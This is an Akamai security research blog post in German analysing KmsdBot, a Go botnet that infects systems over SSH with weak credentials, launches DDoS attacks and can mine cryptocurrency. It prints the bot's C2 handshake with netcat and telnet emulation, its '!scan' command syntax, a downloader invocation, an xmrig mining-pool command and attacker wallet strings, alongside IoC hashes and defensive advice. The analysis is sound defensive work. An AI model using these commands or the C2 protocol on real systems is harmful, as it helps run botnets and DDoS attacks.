Sie sind an Cloud Computing interessiert? Legen Sie jetzt los

KmsdBot: Malware für Angriffe und Kryptomining

Larry Cashdollar

Verfasser

Larry Cashdollar

November 10, 2022

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.

Akamai Security Research hat eine neue Malware namens KmsdBot beobachtet, die unseren Honeypot infiziert hat. Das Botnet infiziert Systeme über eine SSH-Verbindung mit schwachen Anmeldedaten.
Akamai Security Research hat eine neue Malware namens KmsdBot beobachtet, die unseren Honeypot infiziert hat. Das Botnet infiziert Systeme über eine SSH-Verbindung mit schwachen Anmeldedaten.

Zusammenfassung

  • Das Team von Akamai Security Intelligence Group hat eine neue Malware namens KmsdBot entdeckt, die unseren Honeypot infiziert hat.  

  • Das Botnet infiziert Systeme über eine SSH-Verbindung mit schwachen Anmeldedaten.

  • Es ist in Golang geschrieben, was als Sprache bei Angreifern zunehmend beliebter wird, da sich das Reverse Engineering schwierig gestaltet.

  • Die Malware greift mit UDP, TCP, HTTP POST und GET sowie einer Command-and-Control-Infrastruktur (CnC) an, die über TCP kommuniziert.

  • Die Malware bleibt auf dem infizierten System nicht aktiv, um der Erkennung zu entgehen.

  • Sie nimmt unter anderem die Gaming- und Technologiebranchen sowie Hersteller von Luxusfahrzeugen ins Visier.

  • Das Botnet hat außerdem die Fähigkeit, Kryptowährungen zu minen.

  • Die Malware unterstützt mehrere Architekturen wie Winx86, Arm64 und mips64, x86_64.

Neuer Tag, neue Malware

Das SIRT (Security Intelligence Response Team) von Akamai ist dafür verantwortlich, neue Entdeckungen zu verfolgen, zu erkennen, zu dokumentieren und zu veröffentlichen, um die Sicherheit und Stabilität von Akamai, den Kunden von Akamai und dem gesamten Internet zu schützen. Zu diesem Zweck haben wir unzählige Honeypots über das gesamte Internet verteilt. Mitglieder des SIRT beobachten und analysieren diese Honeypots. Das führt zu allerlei spannenden Erkenntnissen und erlaubt uns, einen Überblick über die aktuellen Geschehnisse im Web zu behalten. 

Diese Woche haben wir mit einer neuen Honeypot-Konfiguration experimentiert, um neue Erkenntnisse zu erzielen, insbesondere mit Blick auf die bevorstehende Weihnachtszeit. Da in dieser Zeit üblicherweise mehr schädliche Aktivitäten beobachtet werden, wurde der Honeypot in den frühen Test- und Modifikationsphasen offener und zugänglicher gemacht. Denn wie ließe er sich besser testen? 

Und wir entdeckten tatsächlich einen interessanten Protokolleintrag: Ein Kryptominer mit einer Funktion zum Ausführen von DDoS-Angriffen (Distributed Denial of Service), der speziell auf die Gaming-Branche zugeschnitten ist. Wir beobachten nicht oft, dass diese Arten von Botnets – ganz besonders solche, die in Golang geschrieben wurden – aktiv angreifen und sich verbreiten. Zu den Zielen gehören unter anderem Gaming-Unternehmen, Luxusautomarken und Sicherheitsunternehmen – die Angriffe scheinen beinahe wahllos. 

In diesem Beitrag werden wir die Geschichte von KmsdBot erzählen, damit Sie mit unseren Erkenntnissen die Sicherheit in Ihrem Unternehmen verbessern können.

Überprüfen Sie immer die Protokolle

Da der Honeypot relativ offen konfiguriert war, erwarteten wir eine hohe Anzahl von Treffern. Schließlich lockt ein guter Honeypot viele Angreifer an. Es traten einige Befehle zum Herunterladen von Malware auf, also begannen wir eine Untersuchung. Bei der Überprüfung der Protokolle entdeckten wir einige Einträge wie den in Abbildung 1.

Abb. 1: Protokolleintrag eines Befehls zum Herunterladen und Ausführen einer Malware-Infektion

Abb. 1: Protokolleintrag eines Befehls zum Herunterladen und Ausführen einer Malware-Infektion

Wir haben uns mit dem File Transfer Protocol (FTP) beim System angemeldet und erhielten Zugriff auf alle zum Download verfügbaren Dateien. So können wir einiges über die Ziele der Malware und der dahinterstehenden Bedrohungsakteurs erfahren.

Abb. 2: Verschiedene unterstützte CPU-Architekturen

Abb. 2: Verschiedene unterstützte CPU-Architekturen

Abbildung 2 zeigt die Verzeichnisstruktur des FTP-Download-Servers. Wir sehen die Verzeichnisse der Systemarchitektur – einige enthalten kompilierte Binärdateien, andere sind leer. Aber die leeren Verzeichnisse zeigen die Orte, die die Malware-Autoren als nächstes anvisieren könnten. Das Skript download.php enthält einen Infektionscode, der die Malware auf den Webserver herunterladen und dann ausführen wird:

Abb. 3: Das Skript download.php enthält einen Infektionscode, der die Malware auf den Webserver herunterladen und dann ausführen wird

Abb. 3: Das Skript download.php enthält einen Infektionscode, der die Malware auf den Webserver herunterladen und dann ausführen wird

Nach weiterer Analyse entdeckten wir einige Binärdateikompilate für verschiedene Architekturen (Abbildung 3). Obwohl einige der Verzeichnisse leer sind, befinden sich in einigen Architekturen (wie x86_64 und 386) Malware-Samples zum Herunterladen. Dies ist wichtig, wenn wir uns später die Ziele ansehen.

Abb. 4: Binärdateien ähnlicher Größe scheinen Versionen derselben Malware-Codebasis zu sein

Abb. 4: Binärdateien ähnlicher Größe scheinen Versionen derselben Malware-Codebasis zu sein

Die Dateien sind kompilierte Binärdateien, die in Go geschrieben wurden.

  client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped

Analyse 

Eine Untersuchung der Unterschiede zwischen der Redress-Quellausgabe der Client-Binärdatei und der ksmdm-Binärdatei zeigt, dass sie nur kleine Code-Unterschiede aufweisen. Redress ist ein Open-Source-Programm für Reverse Engineering, das Strukturen in Go-Binärdateien umbaut, um das Reverse Engineering zu unterstützen. Da immer mehr Cyberkriminelle Golang für ihre Angriffe nutzen, ist Redress ein wichtiges Tool, da das Reverse Engineering bei Golang eine größere Herausforderung darstellt.

Gleiche Malware, andere Funktionen

Der Go-Paketname „/root/client“ ist für die meisten Binärdateien gleich, was bedeutet, dass es sich um dieselbe Malware handelt, aber möglicherweise um verschiedene Versionen mit neueren Funktionen. Malware wird oft aktualisiert, aber in diesem Fall gehen die Aktualisierungen in mehrere Richtungen, was einzigartig ist. Wir glauben, dass es eine Client-Binärdatei gibt, die mit dem CnC kommuniziert, Updates macht und den Mining-Prozess startet und beendet. Die andere Binärdatei scheint Mining- und Angriffsvorgänge durchzuführen. 

  $ diff client.source ksmdm.source 
19,23c19,23
< 	start Lines: 12 to 28 (16)	
< 	startfunc1 Lines: 19 to 30 (11)	
< 	startfunc2 Lines: 22 to 22 (0)	
< 	udpclimb Lines: 30 to 60 (30)	
< 	tcpclimb Lines: 60 to 88 (28)	
---
> 	start Lines: 10 to 26 (16)	
> 	startfunc1 Lines: 17 to 28 (11)	
> 	startfunc2 Lines: 20 to 20 (0)	
> 	udpclimb Lines: 28 to 58 (30)	
> 	tcpclimb Lines: 58 to 86 (28)

Das erste beobachtete Ziel dieser Malware war ein Gaming-Unternehmen namens FiveM, ein Client, auf dem Nutzer individuelle Privatserver für Grand Theft Auto Online hosten können. Abbildung 4 zeigt, dass ein UDP-Socket geöffnet wird und ein Paket mit einem FiveM-Sitzungstoken erstellt wird. Das führt dazu, dass der Server glaubt, dass ein Nutzer eine neue Sitzung startet und darauf zusätzliche Ressourcen außer der Netzwerkbandbreite verschwendet. Die Malware führt nicht nur gezielte Angriffe durch, sondern auch generische Layer-4- und Layer-7-Angriffe.

Abb. 5: Disassemblierung der Funktion sym.main.udpfivemtoken, die die Erstellung eines UDP-Pakets mit FiveM-Tokendaten zeigt

Abb. 5: Disassemblierung der Funktion sym.main.udpfivemtoken, die die Erstellung eines UDP-Pakets mit FiveM-Tokendaten zeigt

Scannen und Ausbreiten

Eine Untersuchung des ksmdx-Sample zeigt Funktionen zur Durchführung von Scanvorgängen und Softwareupdates sowie zur Steuerung des Mining-Prozesses.

  Package main: /root/client
File: client.go	
	(*Client)Recv Lines: 23 to 34 (11)	
	(*Client)Handle Lines: 34 to 52 (18)	
	(*Client).Handlefunc1 Lines: 35 to 35 (0)	
File: command.go	
	NewCommand Lines: 15 to 32 (17)	
	(*Command)Handle Lines: 32 to 62 (30)	
File: commandfunctions.go	
	ShellExec Lines: 11 to 23 (12)	
	scan Lines: 23 to 50 (27)	
	stopscan Lines: 50 to 69 (19)	
	updateminer Lines: 69 to 108 (39)	
	stopmine Lines: 108 to 127 (19)	
	updateclient Lines: 127 to 159 (32)	
File: main.go	
	main Lines: 8 to 16 (8)	
File: methods.go	
	start Lines: 12 to 28 (16)	
	startfunc1 Lines: 19 to 30 (11)	
	startfunc2 Lines: 22 to 22 (0)	
	udpclimb Lines: 30 to 60 (30)	
	tcpclimb Lines: 60 to 88 (28)	
File: utils.go	
	randomwallet Lines: 73 to 79 (6)	
	envname Lines: 79 to 129 (50)

Die ksmdx-Binärdatei ist ein Downloader, der CnC darüber informiert, dass das System infiziert wurde, indem er ihr eine HTTP-POST-Anfrage mit der Benachrichtigung „Bruh Started:“ sendet.

  $./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds

Wir können die GET-Anfrage in den HTTP-Serverprotokollen sehen:

  192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"

Beim Starten eines Listeners auf Port 45833 sehen wir die POST-Nachricht für die Ausführungsbestätigung:

 POST-Nachricht zur Ausführungsbestätigung:

Dem Bot kann ein !scan Befehl gesendet werden, um eine Liste der Anmeldedaten herunterzuladen (Abbildung 5), die er zum Scannen nach offenen SSH-Ports verwenden kann:

  !scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd 
Abb. 6: Die Datei kzmds ist eine Liste von Kombinationen aus Nutzernamen und Passwörtern Abb. 6: Die Datei kzmds ist eine Liste von Kombinationen aus Nutzernamen und Passwörtern

Abb. 6: Die Datei kzmds ist eine Liste von Kombinationen aus Nutzernamen und Passwörtern

CnC-Kommunikation

  [pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)

 Bei der erneuten Überprüfung der Protokolle entdeckten wir einen erneuten Angriff der Malware auf den Honeypot, diesmal mit einer neuen IP-Adresse. Es wurden neue Binärdateien hochgeladen, in denen eine neue CnC-IP-Adresse integriert war. 

Im Netzwerktraffic können wir sehen, dass die Verbindung vom infizierten System mit einem Null-Byte von 0x00 initialisiert wird und eine Antwort von 0x01 vom CnC gesendet wird. Das infizierte System antwortet dann mit einer 2 als hexadezimaler Wert 0x02.

  [pid 2514865] write(4, "0x02", 4)       = 4

And 0x01 is the response

    xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
	0x0000:  4500 0038 adf3 4000 3a06 9b4a ab16 1e1f  E..8..@.:..J....
	0x0010:  c63a 6812 c8bc cc38 81f9 f90a abeb 552a  .:h....8......U*
	0x0020:  8018 01fe f2b4 0000 0101 080a 3cc2 30e0  ............<.0.
	0x0030:  f269 b8b6 3078 3031                      .i..0x01

Mit dem Dienstprogramm netcat können wir das schnell testen.

  $ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01

[pid 2516369] write(4, "0x00", 4)       = 4

It looks like 0x02 is the heartbeat

    xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
	0x0000:  4500 0038 3010 4000 4006 132e c63a 6812  E..80.@.@....:h.
	0x0010:  ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2  .....8....T.....
	0x0020:  8018 01f6 f7ac 0000 0101 080a f268 5151  .............hQQ
	0x0030:  3cc0 b581 3078 3032                      <...0x02

Kommunikation mit CnC

Der untenstehende grün markierte Text ist die Antwort vom CnC und der blau markierte Text ist die 0x02-Antwort, mit der wir die Malware emuliert haben.

  % telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01

Kryptomining

Unten sind mögliche Nutzerkonten für Kryptowallets von der Funktion sym.main-randomwallet() aufgelistet. Ich vermute, dass diese zufällig ausgewählt werden, um zu verschiedenen Miningpools beizutragen. Während der Beobachtung des Botnets konnten keine Kryptomining-Aktivitäten festgestellt werden. Das Botnet war nur an DDoS-Aktivitäten beteiligt. Der Bot kann jedoch Kryptomining-Aktivitäten starten – ich fand einen Befehl ./ksmdr -o pool.hashvault.pro, bei dem ksmdr eigentlich eine umbenannte xmrig-Binärdatei ist.

  │      │╎   0x0065b6b0      488d05356c08.  lea rax, [0x006e22ec]       ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│      │╎   0x0065b6b7      4889442428     mov qword [var_28h], rax
│      │╎   0x0065b6bc      48c74424305f.  mov qword [var_30h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6c5      488d053d6d08.  lea rax, [0x006e2409]       ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│      │╎   0x0065b6cc      4889442438     mov qword [var_38h], rax
│      │╎   0x0065b6d1      48c74424405f.  mov qword [var_40h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6da      488d05c96c08.  lea rax, [0x006e23aa]       ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│      │╎   0x0065b6e1      4889442448     mov qword [var_48h], rax
│      │╎   0x0065b6e6      48c74424505f.  mov qword [var_50h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6ef      488d05556c08.  lea rax, [0x006e234b]       ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"

Eine Untersuchung der Quellstrukturen zeigt, dass es sich bei einigen Binärdateien um verschiedene aktualisierte Versionen derselben Codebasis handelt. Es scheint also, dass sich dieses Botnet in einer aktiven Entwicklung befindet.

  $ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< 	(*Command)Handle Lines: 32 to 136 (104)	
---
> 	(*Command)Handle Lines: 32 to 144 (112)	
11,18c11,20
< 	scan Lines: 23 to 50 (27)	
< 	stopscan Lines: 50 to 69 (19)	
< 	updateminer Lines: 69 to 108 (39)	
< 	stopmine Lines: 108 to 127 (19)	
< 	updateclient Lines: 127 to 161 (34)	
< 	loadclient Lines: 161 to 180 (19)	
< 	startminer Lines: 180 to 193 (13)	
< 	reloadminer Lines: 193 to 208 (15)	
---
> 	scan Lines: 23 to 52 (29)	
> 	startscan Lines: 52 to 75 (23)	
> 	stopscan Lines: 75 to 97 (22)	
> 	updateminer Lines: 97 to 144 (47)	
> 	stopmine Lines: 144 to 166 (22)	
> 	updateclient Lines: 166 to 202 (36)	
> 	loadclient Lines: 202 to 221 (19)	
> 	removefile Lines: 221 to 235 (14)	
> 	startminer Lines: 235 to 248 (13)	
> 	reloadminer Lines: 248 to 264 (16)	
54,60c56,62
< 	getrandpath Lines: 12 to 62 (50)	
< 	get Lines: 62 to 109 (47)	
< 	fivem Lines: 109 to 156 (47)	
< 	fivemguid Lines: 156 to 204 (48)	
< 	post1 Lines: 204 to 255 (51)	
< 	post Lines: 255 to 344 (89)	
< 	bigdata Lines: 344 to 386 (42)	
---
> 	getrandpath Lines: 11 to 61 (50)	
> 	get Lines: 61 to 108 (47)	
> 	fivem Lines: 108 to 158 (50)	
> 	fivemguid Lines: 158 to 206 (48)	
> 	post1 Lines: 206 to 257 (51)	
> 	post Lines: 257 to 346 (89)	
> 	bigdata Lines: 346 to 388 (42)	

Analyse des Angriffstraffics

Die beobachteten Angriffe waren entweder Layer-4-TCP/UDP-Pakete mit zufälligen Daten als Payload oder Layer-7-HTTP-Pakete mit GET- und POST-Anfragen, die entweder an den Root-Pfad oder einen im Angriffsbefehl festgelegten Pfad gerichtet waren (Abbildung 6).

Abb. 7: Angriffe mit POST-Anfragen

Abb. 7: Angriffe mit POST-Anfragen

Die Screenshots unten zeigen verstümmelte Anfrageheader mit zufälligem Referrer mit fehlendem Header. Wir haben einige dieser Bilder zu Datenschutzzwecken bereinigt.

In Abbildung 8 ist der Befehl !post vom CnC zu sehen, der einen Angriff gegen ein Ziel anordnet.
In Abbildung 8 ist der Befehl !post vom CnC zu sehen, der einen Angriff gegen ein Ziel anordnet.

In Abbildung 8 ist der Befehl !post vom CnC zu sehen, der einen Angriff gegen ein Ziel anordnet.

Abb. 8: Angriffsbefehl vom CnC

Abb. 8: Angriffsbefehl vom CnC

Die Funktion sym.main.connect() definiert das CnC, das in den Abbildungen 8, 9 und 10 dargestellt ist.

Abb. 9: Disassemblierung der Kommunikationsfunktion vom CnC

Abb. 9: Disassemblierung der Kommunikationsfunktion vom CnC

Abb. 10: Disassemblierung des Antwortcodes 0x02

Abb. 10: Disassemblierung des Antwortcodes 0x02

Abb. 10: TCP-Big-Data-Angriffspaket Abb. 10: TCP-Big-Data-Angriffspaket

Abb. 11: TCP-Big-Data-Angriffspaket

IoCs

SHA256 

  701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40  client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11  ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e  ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d  ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95  kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54  kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51  kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b  kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11  ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab  ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e  ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10  ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910  kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54  kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95  kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a  kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a  kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b  kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61  kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533  kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003  kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f  kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff  kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e  kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84  kmsd.s390x

Fazit

Dieses Botnet ist ein gutes Beispiel dafür, wie komplex Sicherheit sein kann und wie sehr sie sich weiterentwickelt. Was als Bot für eine Gaming-App begonnen zu haben scheint, greift jetzt große Luxusmarken an. Neu ist der Infektionsvorgang über eine SSH-Verbindung mit schwachen Anmeldedaten. Die gute Nachricht ist jedoch, dass die gleichen Techniken, die wir den meisten Unternehmen empfehlen, um ihre Systeme und Netzwerke zu schützen, auch hier Anwendung finden. 

  • Verwenden Sie keine schwachen oder standardmäßigen Anmeldedaten für Server oder bereitgestellte Anwendungen. 

  • Stellen Sie sicher, dass die neuesten Sicherheitspatches für diese Anwendungen installiert sind, indem Sie regelmäßig nach Updates suchen.  

  • Verwenden Sie zur Authentifizierung Ihrer SSH-Verbindungen öffentliche Schlüssel. Dies ist der beste Weg, um diese Art von Systemeinbrüchen zu verhindern. 

Das SIRT von Akamai wird die Aktivitäten dieses Bots weiterhin überwachen und Sie über neue Entwicklungen informieren.

Wenn Sie sich für ähnliche Echtzeit-Recherchen und Updates interessieren, folgen Sie uns auf Twitter.



Larry Cashdollar

Verfasser

Larry Cashdollar

November 10, 2022

Larry Cashdollar

Verfasser

Larry Cashdollar

Larry W. Cashdollar arbeitet bereits seit über 18 Jahren als Schwachstellenforscher im Bereich Sicherheit. Aktuell ist er Mitglied des Security Incident Response-Teams bei Akamai Technologies. Er studierte Computerwissenschaften an der University of Southern Maine. Cashdollar hat mehr als 150 CVEs dokumentiert und seine Forschungsergebnisse sogar bei BSides Boston, OWASP Rhode Island und Defcon vorgestellt. Er ist Outdoor-Fan und beschäftigt sich in seiner Freizeit gern mit der Neukonstruktion von Minibike-Motoren.